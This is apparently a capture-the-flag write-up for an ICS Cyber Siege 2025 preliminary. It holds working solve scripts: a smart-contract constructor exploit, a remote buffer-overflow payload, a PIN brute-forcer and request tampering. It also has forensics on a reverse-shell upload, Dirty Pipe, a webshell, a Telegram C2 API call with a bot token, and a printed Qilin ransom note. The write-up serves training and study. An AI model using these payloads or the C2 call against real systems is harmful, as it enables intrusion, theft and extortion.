BADGE TO BREACH: ICS CYBER SIEGE 2025
Date: 5-27-2025 (9PM) - 6-28-2025 (9PM)
Venue: Online
Web
Baby Web
From the source code, you can see that there’s a filter on the word “String”, which makes it difficult to submit the key randomBytes(16).toString('hex'). It checks for the presence of “String” in the key.
1
2
3
4
5
6
7
8
9
10
11
12
13
app.post('/search', (req, res) => {
const query = req.body.query;
if (query.includes("String")) {
return res.send(htmlPage("❌ Access Denied: Suspicious pattern detected."));
}
if (query.includes(key)) {
return res.send(htmlPage("✅ Key matched: " + query + "\n🎉 Here is your flag: fakeflag{not the flag, and i love teh ais :D}"));
} else {
return res.send(htmlPage("❌ Key did not match."));
}
});
So, to solve it need to pass the query parameter as an array instead of literal string which result it output flag.
Flag: prelim{i_was_confused_ab_what_to_make--so_i_made_a_js_type_confusion_baby_challenge_ehhe}
Blockchain
Bank
given:
1
2
3
4
5
6
7
8
9
10
11
RPC_URL:
http://152.42.220.146:30001/9cc611eb-979f-4eb4-a829-171fa2cc8156
private key:
e82e47b9a024cbac853202fb3a507a87d558e000f9fe054331423d8161a7e9f6
SETUP_CONTRACT_ADDR:
0xD7c529c57a506Cb270eD8b9D92d24097AF6f4CF5
wallet_addr:
0x308300543D893556644f3278de1E6eeD9932581F
bash script to solve:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash
export ETH_RPC_URL="http://152.42.220.146:30001/9cc611eb-979f-4eb4-a829-171fa2cc8156"
export PRIVATE_KEY="e82e47b9a024cbac853202fb3a507a87d558e000f9fe054331423d8161a7e9f6"
export SETUP="0xD7c529c57a506Cb270eD8b9D92d24097AF6f4CF5"
echo "[*] Fetching Bank & NFT addresses..."
RAW_BANK=$(cast call $SETUP "bank()")
RAW_NFT=$(cast call $SETUP "nft()")
BANK="0x${RAW_BANK:26}"
NFT="0x${RAW_NFT:26}"
echo "[*] BANK address: $BANK"
echo "[*] NFT address: $NFT"
echo "[*] Calling sedekah() to mint tokenId 1..."
cast send $SETUP "sedekah()" --private-key $PRIVATE_KEY
echo "[*] Approving BANK to take tokenId 1..."
cast send $NFT "approve(address,uint256)" $BANK 1 --private-key $PRIVATE_KEY
echo "[*] Donating tokenId 1 to BANK..."
cast send $BANK "donate(uint256[])" "[1]" --private-key $PRIVATE_KEY
echo "[*] Withdrawing tokenId 0 and 1 from BANK..."
cast send $BANK "withdraw(uint256[])" "[0,1]" --private-key $PRIVATE_KEY
echo "[*] Checking if challenge is solved..."
cast call $SETUP "isSolved()"
Output:
Flag: prelim{pretty_simple_for_a_start}
Oasis
Find the Oasis testnet
Then, insert the address given to get the contract
Look for the successful transaction since the source code said that only owner can execute it
Find the raw data
Flag: prelim{0xFc044F87f2D158253348fF0fd3670f341bA29c5E}
Size Does Not Matter
The exploit involves deploying a contract (Exploit.sol) that, during its own constructor, sequentially calls all four required functions on the Box contract. At the time these calls are made, extcodesize(address(this)) == 0, so all size checks pass even though the deployed contract will eventually have code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IBox {
function aquastage1(address) external;
function aquastage2(address) external;
function aquastage3(address) external;
function solve(address) external;
}
contract Exploit {
constructor(address box) {
IBox(box).aquastage1(address(this));
IBox(box).aquastage2(address(this));
IBox(box).aquastage3(address(this));
IBox(box).solve(address(this));
}
}
Steps using Remix:
After compile Exploit.sol , Box.sol , Setup.sol and setting up the wallet, first need to deploy the contract at the given setup contract address.
The deployed contract showed below will be our starting point to get the Box.sol address which then will be our address to deploy on Exploit.sol.
After done deploying, checking isSolved will eventually return true to satisfy the contract and get the flag.
Flag: prelim{small_and_big_schrodingerbox}
Mobile
Simple Guess
On string.xml few string was found
1
2
3
<string name="ecp">M4EKATajtPe4ry4Vs3W0SQNNoIdSZnDdtdAArgeVZRX1WVod+/IOHiQ8uz3XeAJW</string>
<string name="iv">KF/M4Oz7SyDQOY5PWF76yw==</string>
<string name="salt">S7n8CyjFt28W6JOssy1OPg==</string>
Checking on MainActivity The program uses aes to decode but instead of key, it uses it as a salt of the key. the key was intended to be brute force.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import base64
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Util.Padding import unpad
from Crypto.Hash import SHA256
# Constants from strings.xml
salt_b64 = "S7n8CyjFt28W6JOssy1OPg=="
iv_b64 = "KF/M4Oz7SyDQOY5PWF76yw=="
enc_b64 = "M4EKATajtPe4ry4Vs3W0SQNNoIdSZnDdtdAArgeVZRX1WVod+/IOHiQ8uz3XeAJW"
salt = base64.b64decode(salt_b64)
iv = base64.b64decode(iv_b64)
ciphertext = base64.b64decode(enc_b64)
print("[*] Starting brute-force from 0000 to 9999...")
for pin in range(10000):
password = str(pin).zfill(4)
try:
key = PBKDF2(password, salt, dkLen=32, count=65536, hmac_hash_module=SHA256)
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
plaintext = unpad(decrypted, AES.block_size)
print(f"[?] Trying PIN: {password} => {plaintext}")
if b"{" in plaintext or b"flag" in plaintext.lower():
print(f"\n[+] PIN Found: {password}")
print(f"[+] Decrypted: {plaintext.decode('utf-8')}")
break
except Exception:
continue
print("[*] Done.")
Output:
1
2
3
4
5
6
7
8
9
10
└─$ python sol.py
[*] Starting brute-force from 0000 to 9999...
[?] Trying PIN: 0446 => b'\xe7J\xf6L\x05\xc3\xdb\x90\xaf\xefC63\xccg\xac\x05\x01zN\xf6\xd3I\xe6\x0ci\x8c\xc0\x1ed>\x89\xde\x12\\\xa0\xe4\xfe\x83\xbfQl\x9a\x97\x18\x9c\xc4'
[?] Trying PIN: 0467 => b'Q\xabsM3\x0bh\x03Y\xb6\xac\xb4\x1e\xcb\x871\xe5fop\x15\xa3\xd8\xd6E\xee\xc5\xad\x89N\xb1\x7f\x85+`\x93sJh\xda\x91 \xdf\xb3"\xea\xce'
[?] Trying PIN: 1429 => b'\xec\xce\xe9\xf4\x8f\xc2\xcb\xb2y\x0f(<\x8c\x1aC\x1c!W\xd8^\x81u\x11\xbfZ0\xf9\xee\xaa\x1c\xe1\xc0$C\xbfu\x8cs\xcd\x1c\xaa2pr\xc5\xb1\xf6'
[?] Trying PIN: 1435 => b'prelim{All_Y0u_N33d_1s_F0ur_D1g1tS}'
[+] PIN Found: 1435
[+] Decrypted: prelim{All_Y0u_N33d_1s_F0ur_D1g1tS}
[*] Done.
Flag: prelim{All_Y0u_N33d_1s_F0ur_D1g1tS}
Baby Gacha
Intercept the traffic show that after clicking the online shop will do POST request to the /get_shop endpoint.
Tempered with the request to the highest currency value and the response with flag price lowest as possible which result in the output of the flag.
Flag: prelim{m4yB3_i_sh0Uldv3_u5eD_a_b3T7e12_w4Y_of_5eRv3r_s1de_4pP_1n7e6R1ty_v4lIDat10n}
Forensics
[0] - Forensic Sanity Check
Read the instructions, get the flag from flag.txt
Flag: prelim{warming_up_your_forensics_skills_for_real}
[1] - Initial Vector
Looking at the disk image given, an outdated wordpress plugin installed. The plugin has a file upload vulnerability. In access.log, some fishy file upload activity can be seen. One of the file being uploaded was a php file that contains a reverse shell.
MD5 Hash: 6abb43dc87e07140ba94beafda03baad
Flag: prelim{CVE-2023-4596_6abb43dc87e07140ba94beafda03baad}
[2] - Priv Esc
Scanning the machine using Linpeas, we found that the machine is vulnerable to Dirty Pipe
Upon analysing authlog, a command ran inside the folder /tmp/CVE-2022-0847-DirtyPipe-Exploits
It seems like a small hint at this point because the folder actually didn’t exist anymore. Upon reading about the cve dirtypipe, we can confirm that the attacker use this exploit.
- The exploit can be done in Linux version 5.8 or newer.
And this exact linux version is not patched.
- There are many POC that uses C lang to exploit. Since the webserver had already installed gcc, we assume that the compiled binary are in /usr/bin folder. And the folder before in /tmp was used for development stuff.
So, the binary we found is this which do the exploit.
Strings to get the flag.
Flag: prelim{n4sty_l1nux_8ug_f0r_pr1v_3sc}
[3] - C2
In the same folder, we found a suspicious binary named telexfil, which created around the same time as dpipe binary
Because of the name, we know that the C2 must be Telegram.
Decompile the binary and build the url to get the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
botToken="8115121963:AAFDmYfQILi5vqHXojaXoezynLjo_Kqn4sQ"
fromChatId="7093036821"
toChatId="7093036821"
# forward messages on range
messageIds=($(seq 443 446))
for messageId in "${messageIds[@]}"; do
body=$(jq -n \
--arg message_id "$messageId" \
--arg from_chat_id "$fromChatId" \
--arg chat_id "$toChatId" \
'{
message_id: ($message_id | tonumber),
disable_notification: false,
from_chat_id: ($from_chat_id | tonumber),
chat_id: ($chat_id | tonumber)
}')
curl -s -X POST "https://api.telegram.org/bot$botToken/forwardMessage" \
-H "Content-Type: application/json" \
-d "$body"
done
Output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
└─$ bash boom.sh | jq
{
"ok": true,
"result": {
"message_id": 4506,
"from": {
"id": 8115121963,
"is_bot": true,
"first_name": "dump_my1",
"username": "dump_my1_bot"
},
"chat": {
"id": 7093036821,
"first_name": "Steve",
"type": "private"
},
"date": 1751118845,
"forward_origin": {
"type": "user",
"sender_user": {
"id": 8115121963,
"is_bot": true,
"first_name": "dump_my1",
"username": "dump_my1_bot"
},
"date": 1749811616
},
"forward_from": {
"id": 8115121963,
"is_bot": true,
"first_name": "dump_my1",
"username": "dump_my1_bot"
},
"forward_date": 1749811616,
"text": "prelim{y0u_f0und_th3_c2_h3ck_y3ah}"
}
}
Flag: prelim{y0o_f0und_th3_c2_h3ck_y3ah}
[4] - Ransomewhere
multiple uploaded file on uploads/2025/03/ using powershell, all tools indicate escalation tools that didnt use while analysis. But one of it is a weird looking file with the name kill-it.
Extraction the hash file of kill-it on k.zip
It detect as qilin ransomware
while running the program, it ask for the password:
1
2
3
4
5
6
7
PS C:\Users\os1ris\Desktop\kiil > .\kill-it.exe
[12:03:20|+0.00002520] <ThreadId(1)>: [FATAL] provide password with `--password` before start!
FLARE-VM 06/28/2025 05:03:20
PS C:\Users\os1ris\Desktop\kiil > .\kill-it.exe --password 1234
[12:03:27|+0.00002510] <ThreadId(1)>: [INFO] Checking password validity
[12:03:27|+0.00082180] <ThreadId(1)>: [FATAL] Password is not correct!
Info
| Field | Value |
|---|---|
| File name | kill-it |
| Size | 5,254,656 (5.01 MiB) |
| Operating system | Windows (95) |
| Architecture | I386 |
| Mode | 32-bit |
| Type | Console |
| Endianness | Little Endian (LE) |
| Hash (SHA256) | bc34150b34413dbfe4e6332d4c2657af74e8a167c14e9c9d2fc787632759101f |
Initial View
Execution:
1
2
3
4
5
6
7
8
PS C:\Users\os1ris\Desktop\ransomwhere > .\kill-it.exe
[10:59:36|+0.00002680] <ThreadId(1)>: [FATAL] provide password with `--password` before start!
FLARE-VM 06/30/2025 03:59:36
PS C:\Users\os1ris\Desktop\ransomwhere > .\kill-it.exe --password 1234
[10:59:44|+0.00002530] <ThreadId(1)>: [INFO] Checking password validity
[10:59:44|+0.00162210] <ThreadId(1)>: [FATAL] Password is not correct!
FLARE-VM 06/30/2025 03:59:44
Multiple API was imported in this program.
Static Analysis
start function:
Set environment, load value of size and sleep time finally it will call a stub on sub_4028B0
sub_4028B0:
Offset of Main was detected in this function call used as a label or identifier. Assuming for logging, debugging, or internal naming in a structure such as thread
two compare jump which indicates fatal error runtime and another one it to prepares and runs shellcode or thread, sets up handlers, and under conditional to triggers Rust error/report logging.
sub_401880:
this function parses the string command line GetCommandLineW)and initializes variables it is to prepare extract arguments
process a filename or buffer using sub_403860 to manipulates or transforms its contents via sub_443F40, then conditionally frees it using HeapFree if needed
sub_443F40:
Where the function try to call the memory and detect if the memory can be load or not:
sub_442F30:
5 function call was call on this function that will be break down into table
Handler Functions:
| Subroutine | API Called | Purpose |
|---|---|---|
sub_442A30 | FreeLibrary | Unload a previously loaded DLL |
sub_442A50 | GetProcAddress | Resolve function address |
sub_442A70 | LoadLibraryA | Load a DLL into memory |
sub_442A00 | VirtualFree | Free allocated memory |
sub_4429D0 | VirtualAlloc | Allocate memory for payload |
Sets up a custom loader that dynamically loads DLLs, resolves function addresses, allocates memory for payload, and handles cleanup.
sub_4429D0
VirtualAlloc is often used by malware to allocate memory as part of process injection. It goal to extract it should be because it holds the final decrypted payload in memory, unlike setup functions. Malware commonly uses it to execute code directly in memory and avoid detection by writing to disk. So its not as simple as string the file to get the memory string word.
Dynamic Analysis
start the program using x32dbg. Press Ctrl+G Search for VirtualAlloc
Set breakpoint on the VirtualAlloc and Run until it stopped at the starting point of it.
Notice the EAX was at 10000000
Press Ctrl+G and check on the first try shown the memory was invalid, which EAX wasn’t created yet:
Continue until return or press Ctrl+F9
Set breakpoint here on ret(return) just incase (actually no need):
Run again and it will get back to VirtualAlloc. After that go back to EAX address of 0x10000000:
Then check the dump. it still zero
Proceed to Run on second times and Ctrl+G again:
on dump it will look something like this:
Right click and Follow in Memory Map
It will go to Memory Map of those file, Hit Dump Memory to File and save to local storage
If the file is empty without string, repeat the process from
rununtilretand follow in memory map again
We can see the note of the ransom:
1
2
3
4
5
λ strings test.bin | grep "password"
"note": "-- Qilin \r\r\n\r\r\nYour network/system was encrypted. \r\r\nEncrypted files have new extension. \r\r\n\r\r\n-- Compromising and sensitive data \r\r\n\r\r\nWe have downloaded compromising and sensitive data from your system/network.\r\r\nOur group cooperates with the mass media.\r\r\nIf you refuse to communicate with us and we do not come to an agreement, your data will be reviewed and published on our blog and on the media page (https://31.41.244.100)\r\r\n\r\r\nBlog links:\r\r\nhttp://kbsqoivihgdmwczmxkbovk7ss2dcynitwhhfu5yw725dboqo5kthfaad.onion\r\r\nhttp://ijzn3sicrcy7guixkzjkib4ukbiilwc3xhnmby4mcbccnsd7j2rekvqd.onion\r\r\n\r\r\nData includes: \r\r\n- Employees personal data, CVs, DL , SSN. \r\r\n- Complete network map including credentials for local and remote services. \r\r\n- Financial information including clients data, bills, budgets, annual reports, bank statements. \r\r\n- Complete datagrams/schemas/drawings for manufacturing in solidworks format \r\r\n- And more... \r\r\n\r\r\n-- Warning \r\r\n\r\r\n1) If you modify files - our decrypt software won't able to recover data \r\r\n2) If you use third party software - you can damage/modify files (see item 1) \r\r\n3) You need cipher key / our decrypt software to restore you files. \r\r\n4) The police or authorities will not be able to help you get the cipher key. We encourage you to consider your decisions. \r\r\n\r\r\n-- Recovery \r\r\n\r\r\n1) Download tor browser: https://www.torproject.org/download/ \r\r\n2) Go to domain \r\r\n3) Enter credentials\r\r\n\r\r\nPlease note that communication with us is only possible via the website in the Tor browser, which is specified in this note. \r\r\nAll other means of communication are not real and may be created by third parties, if such were not provided in this note or on the website specified in this note.\r\r\n-- Credentials \r\n\r\nExtension: 9ENeyQ1NS- \r\nDomain: zifh42ydlktd35ps7rrmfpacwxmywzjj6vuij64var6fvzl3hywwzkyd.onion \r\nlogin: Ul06AyV9oM6HJYvTyM0V9xVwwsRvqYUg \r\npassword:",
"password_hash": "181a53ef753248973beaa07cdbdb2ddc2ea39623625ed598959efc5dea8c57ed"
password_hash
---STRIP---
Now string and grep the password_hash
1
2
λ strings test.bin | grep "password_hash"
"password_hash": "181a53ef753248973beaa07cdbdb2ddc2ea39623625ed598959efc5dea8c57ed"
Flag: prelim{181a53ef753248973beaa07cdbdb2ddc2ea39623625ed598959efc5dea8c57ed}
[5] - Persistent
While checking the /var/log/apache2/access.log
Upon looking at /themes/twentytwentyfour folder inside the wordpress, a suspicious php file exist named themes.php which contains a mini webshell.
The other solution is to scan the webserver using Thor.
Flag: prelim{b4yuf3dr4_m1n1_web5h3ll_p3rs15t3nt}
Cryptography
Mindfulness
(Gpt moment) . Decrypt RSA ciphertext using d = d2 // 2, recover flag1 = pow(c, d, n), compute totient(flag1) as XOR key to decrypt flag2, then combine both parts to get the full flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Util.number import *
from sympy import totient
# Given values
c = 1090697257161681827338467372494237015524155841340205972141075438006486846235352812783606709214148871185568742706572950302594682835091151613629583124470212
d2 = 254190669315237659611656690873708283358313610476086281934479967762596603847181139118237009352408165213690516418963820794025807833788636490463597342510978964539012058693650957672644126092209239984585008351285329298831383304909055869506337791818181897336451413249560522009872200579635743470347341120977330484037546
n = 12772669759377422294285933457739305980370839455903351269835559814487644603035708044745452752384246167635593205134222890220262680226322097808123273638439889
part2 = 3036467688395429171878582378698544047639776291041683854137816180801927641124603773
# Step 1: Get private exponent
d = d2 // 2
# Step 2: Decrypt RSA
m = pow(c, d, n)
flag1 = long_to_bytes(m)
# Step 3: Compute Euler's Totient (number of coprimes) correctly
curseed = totient(m)
# Step 4: Decrypt second half of the flag
flag2 = long_to_bytes(part2 ^ curseed)
# Step 5: Combine
flag = flag1 + flag2
print(flag.decode(errors='ignore')) # ignore non-utf8 bytes, if any
Output:
1
2
└─$ python sol.py
prelim{just_a_warm_up_for_u_lets_finish_the_next_challs}
Flag: prelim{just_a_warm_up_for_u_lets_finish_the_next_challs}
Mindreader-Revenge
The challenge presents itself as a “mind-reading” game, but it’s actually a disguised subset sum problem. The server sends a session containing a list of integers r and a target sum, which are used to compute a hidden bitmask ans of 0s and 1s such that sum = sum(r[i] * ans[i]). By extracting r and sum from the session and solving the subset sum using a meet-in-the-middle algorithm, we recover the correct sequence of “yes” (1) or “no” (0) answers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/env python3
from pwn import *
import re
import time
import random
context.log_level = 'info'
def parse_session_data(banner_data):
"""Extract 'r' list and 'sum' from the session data."""
log.info("Parsing session data...")
session_start = banner_data.find("Game session: {")
if session_start == -1:
log.error("Session start not found")
return None, None
session_data = banner_data[session_start + 14:]
brace_count = 1
session_end = 1
for i in range(1, len(session_data)):
if session_data[i] == '{':
brace_count += 1
elif session_data[i] == '}':
brace_count -= 1
if brace_count == 0:
session_end = i
break
content = session_data[1:session_end]
r_match = re.search(r"'r':\s*\[([\d,\s\n]+)\]", content, re.DOTALL)
sum_match = re.search(r"'sum':\s*(\d+)", content)
if not r_match or not sum_match:
log.error("Failed to extract r or sum")
return None, None
r_values = list(map(int, re.findall(r'\d+', r_match.group(1))))
target_sum = int(sum_match.group(1))
log.success(f"Parsed {len(r_values)} r values with target sum {target_sum}")
return r_values, target_sum
def solve_subset_sum(r_values, target_sum):
"""Meet-in-the-middle subset sum solver."""
log.info("Solving subset sum...")
n = len(r_values)
mid = n // 2
left = r_values[:mid]
right = r_values[mid:]
left_sums = {}
for mask in range(1 << len(left)):
s = sum(left[i] for i in range(len(left)) if mask & (1 << i))
left_sums[s] = [(mask >> i) & 1 for i in range(len(left))]
for mask in range(1 << len(right)):
s = sum(right[i] for i in range(len(right)) if mask & (1 << i))
remaining = target_sum - s
if remaining in left_sums:
left_config = left_sums[remaining]
right_config = [(mask >> i) & 1 for i in range(len(right))]
log.success("Subset found!")
return left_config + right_config
log.error("No solution found.")
return None
def main():
host = '152.42.220.146'
port = 51860
io = remote(host, port)
log.info("Receiving banner...")
full_data = io.recvuntil(b"===" * 3, timeout=5).decode(errors='ignore')
time.sleep(0.1)
full_data += io.recv(timeout=1).decode(errors='ignore')
log.info("Parsing session...")
r_values, target_sum = parse_session_data(full_data)
if not r_values:
io.close()
return
answers = solve_subset_sum(r_values, target_sum)
if not answers:
io.close()
return
# Interactive answering (extend beyond initial r_values length)
i = 0
while True:
try:
q = io.recvuntil(b': ', timeout=5).decode()
log.info(f"Q{i+1}: {q.strip()}")
if i < len(answers):
response = 'yes' if answers[i] == 1 else 'no'
else:
# After the main round, fallback logic — tweak as needed
response = random.choice(['yes', 'no'])
io.sendline(response)
res = io.recvline().decode()
log.info(f"A{i+1}: {res.strip()}")
i += 1
except EOFError:
log.warning("Connection closed by remote host.")
break
except Exception as e:
log.error(f"Error during interaction: {e}")
break
io.close()
if __name__ == "__main__":
main()
Responding with this exact sequence during the interactive phase results in all correct guesses, revealing the flag.
Flag: prelim{minreader_master_sksksksksk}
Binary Exploitation
Baby Armageddon
Finding the offset:
1
2
3
4
5
import subprocess
for i in range(8, 1024, 8):
if subprocess.run(["./armageddon_device"], input="A"*i, text=True).returncode:
print(f"Crash at {i} bytes")
break
The program crash at 128.
now the flag was at the address of 0x00401216 or the function call name sym.armageddon
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─$ r2 armageddon_device
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
[0x00401130]> aaaa
---STRIP---
[0x00401130]> afl
---STRIP---
0x00401344 1 13 sym._fini
0x004012a5 1 62 sym.question
0x00401160 1 5 sym._dl_relocate_static_pie
0x004012e3 1 96 main
0x00401216 3 143 sym.armageddon
---STRIP---
[0x00401130]> pdf @ sym.armageddon
┌ 143: sym.armageddon ();
│ ; var uint32_t var_8h @ rbp-0x8
│ ; var int64_t var_50h @ rbp-0x50
│ ; var int64_t var_80h @ rbp-0x80
│ 0x00401216 f30f1efa endbr64
│ 0x0040121a 55 push rbp
│ 0x0040121b 4889e5 mov rbp, rsp
│ 0x0040121e 4883ec50 sub rsp, 0x50
│ 0x00401222 488d05df0d.. lea rax, [0x00402008] ; "r"
│ 0x00401229 4889c6 mov rsi, rax
│ 0x0040122c 488d05d70d.. lea rax, str.flag.txt ; 0x40200a ; "flag.txt"
│ 0x00401233 4889c7 mov rdi, rax
│ 0x00401236 e8d5feffff call sym.imp.fopen
as ROP standardize adding an 8byte of Stack alignment padding after the crash program. So it would be 128 + 8 = 136
1
2
3
4
5
6
7
8
9
10
11
└─$ ROPgadget --binary armageddon_device --only "pop|ret|syscall|leave|call"
Gadgets information
============================================================
0x00000000004012df : call qword ptr [rax + 0xff3c3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x00000000004012e1 : leave ; ret
0x00000000004011fd : pop rbp ; ret
0x000000000040101a : ret
Unique gadgets found: 6
the return address would be 0x40101a
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
e = ELF('./armageddon_device')
#p=process(e.path)
p=remote('152.42.220.146',16023)
payload=p64(0x40101a)*136
payload+= p64(e.sym['armageddon'])
print(payload)
p.sendline(payload)
p.interactive()
Output:
Flag: prelim{th1S_15_tH3_p4s5w0rD_f0r_4rm463dd0N}
Reverse Engineering
Crack Me
Decompiling:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//----- (0000000140021530) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
unsigned __int8 v5[264]; // [rsp+20h] [rbp-108h] BYREF
sub_1400215F4();
printf("\nCYDES 2025 Prelim EZ Challenge - @zeifan\n");
printf("\nEnter password: ");
v3 = _acrt_iob_func(0);
common_fgets<char>(v5, 256, v3);
v5[sub_14000DF40(v5, (unsigned __int8 *)asc_140001D34)] = 0;
if ( (unsigned int)sub_140021608((__int64)v5) )
{
sub_14002179C((__int64)qword_140001C60, (char *)&v5[4]);
printf("%s\n", qword_140001CA0);
}
else
{
printf("%s\n", aAccessDenied);
}
memset(v5, 0, 0x100u);
sub_1400104D8((__int64)aPause);
return 0;
}
on the if condition got sub_140021608() where it to check the condition input
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
__int64 __fastcall sub_140021608(__int64 a1)
{
unsigned __int64 v1; // rdi
__int64 v3; // rax
char v4; // dl
int v5; // ecx
__int64 v6; // r8
char v7; // al
int v9; // r10d
__int64 v10; // r9
char *v11; // rdx
__int64 v12; // [rsp+20h] [rbp-E0h] BYREF
int v13; // [rsp+28h] [rbp-D8h]
int v14; // [rsp+2Ch] [rbp-D4h]
char Destination[16]; // [rsp+30h] [rbp-D0h] BYREF
char v16[16]; // [rsp+40h] [rbp-C0h] BYREF
__int128 v17; // [rsp+50h] [rbp-B0h]
unsigned int v18[1364]; // [rsp+60h] [rbp-A0h] BYREF
v1 = -1;
v3 = -1;
do
++v3;
while ( *(_BYTE *)(a1 + v3) );
if ( v3 != 20 )
return 0;
if ( strncmp((const char *)a1, Str2, 4u) )
return 0;
if ( *(_BYTE *)(a1 + 19) != 125 )
return 0;
*(_OWORD *)Destination = 0;
strncpy(Destination, (const char *)(a1 + 4), 0xFu);
if ( !(unsigned int)sub_140021C40((__int64)Destination) )
return 0;
memset(v18, 0, sizeof(v18));
v4 = Destination[0];
v5 = 0;
v12 = 0x1010000063D0001LL;
v13 = 66;
v14 = -16711664;
if ( !Destination[0] )
return 0;
v6 = 0;
while ( v4 < 48 || v4 > 57 )
{
v7 = Destination[++v6];
++v5;
v4 = v7;
if ( !v7 )
return 0;
}
v9 = v5;
do
++v1;
while ( Destination[v1] );
v10 = v5;
if ( v5 < v1 )
{
v11 = &Destination[v6];
do
{
if ( (unsigned __int8)(*v11 - 48) > 9u )
break;
++v5;
++v11;
}
while ( v5 < v1 );
}
*(_OWORD *)v16 = 0;
v17 = 0;
strncpy(v16, &Destination[v10], v5 - v9);
if ( (unsigned int)unknown_libname_23(v16) == 1597
&& (*(_DWORD *)((char *)&v12 + 2) = 1597, (unsigned int)sub_14002192C(v18, (__int64)&v12) == 1597) )
{
return 1;
}
else
{
return 0;
}
}
The next section. It looks for a number inside these 15 bytes.
1
strncpy(Destination, a1+4, 0xF); // copy 15 bytes after prefix
Validates that number using a call:
1
unknown_libname_23(v16) == 1597
And verifies, so the number would be 1597:
1
2
sub_140021C40(Destination)
sub_14002192C(v18, &v12) == 1597
Other than that there’s also:
1
char Str2[] = "CTF{"; // idb
Exact telling on how to solve:
How To Solve:
- Find
Str2value (first 4 characters) [which was ‘CTF{’]. - Disassembler or reverse number string
Yso:unknown_libname_23(Y) == 1597sub_140021C40(Y) == 1sub_14002192C(...) == 1597
- Construct password:
Str2 + Y + '}' - Input into binary → output will be the flag.
1
2
3
4
5
6
7
PS C:\Users\Lolin\Downloads> .\crackmes.exe
CYDES 2025 Prelim EZ Challenge - @zeifan
Enter password: CTF{1597}
Congratulations! Flag: prelim{f0r_7h3_p0w3r_0f_10v3}
Press any key to continue . . .
Flag: prelim{f0r_7h3_p0w3r_0f_10v3}
)
















































